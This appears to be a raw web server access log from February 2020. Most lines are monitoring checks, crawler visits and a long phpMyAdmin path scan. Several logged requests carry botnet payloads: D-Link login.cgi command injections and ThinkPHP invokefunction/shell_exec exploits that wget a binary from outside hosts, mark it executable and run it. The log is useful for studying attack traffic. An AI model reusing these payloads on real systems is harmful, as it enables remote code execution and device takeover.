211.103.210.194 - - [26/Feb/2020:09:35:32 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:33 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:36 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:37 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:37 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:37 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:37 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:38 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:39 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:39 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:40 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:40 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [26/Feb/2020:09:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.103.210.194 - - [26/Feb/2020:09:35:48 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:49 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:49 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:49 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:50 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:51 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:52 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:52 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:52 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:52 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:53 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:53 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:54 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:55 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:55 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:55 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:56 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:56 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:57 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:35:58 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:05 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:06 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:07 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:07 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:07 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:07 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:08 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:08 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:08 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:09 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:11 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:11 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:12 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
211.103.210.194 - - [26/Feb/2020:09:36:15 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [26/Feb/2020:09:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.136.134.161 - - [26/Feb/2020:09:37:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:09:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.234.100.181 - - [26/Feb/2020:09:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:09:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.82.8 - - [26/Feb/2020:09:45:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.173.161.30 - - [26/Feb/2020:09:45:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:09:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.0.252.96 - - [26/Feb/2020:09:49:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
54.219.140.222 - - [26/Feb/2020:09:50:13 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.219.140.222 - - [26/Feb/2020:09:50:13 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.219.140.222 - - [26/Feb/2020:09:50:14 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.219.140.222 - - [26/Feb/2020:09:50:14 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.219.140.222 - - [26/Feb/2020:09:50:14 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [26/Feb/2020:09:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.151.157.210 - - [26/Feb/2020:09:51:24 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
192.151.157.210 - - [26/Feb/2020:09:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [26/Feb/2020:09:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
153.210.47.155 - - [26/Feb/2020:09:55:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:09:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.247.85.89 - - [26/Feb/2020:09:58:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:09:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.132.69.51 - - [26/Feb/2020:10:01:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
62.172.234.21 - - [26/Feb/2020:10:01:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:10:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.231.121.80 - - [26/Feb/2020:10:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:10:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.46.64.104 - - [26/Feb/2020:10:20:50 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
136.243.83.42 - - [26/Feb/2020:10:21:38 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MetaJobBot; http://www.metajob.de/crawler)"
136.243.83.42 - - [26/Feb/2020:10:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MetaJobBot; http://www.metajob.de/crawler)"
212.91.246.72 - - [26/Feb/2020:10:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [26/Feb/2020:10:27:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.152.6.58 - - [26/Feb/2020:10:27:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [26/Feb/2020:10:27:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [26/Feb/2020:10:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.131.11.97 - - [26/Feb/2020:10:28:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:10:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.222.117.168 - - [26/Feb/2020:10:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
118.89.144.131 - - [26/Feb/2020:10:30:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [26/Feb/2020:10:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.227.198.226 - - [26/Feb/2020:10:33:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:10:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.70.27 - - [26/Feb/2020:10:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:10:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [26/Feb/2020:10:38:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [26/Feb/2020:10:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
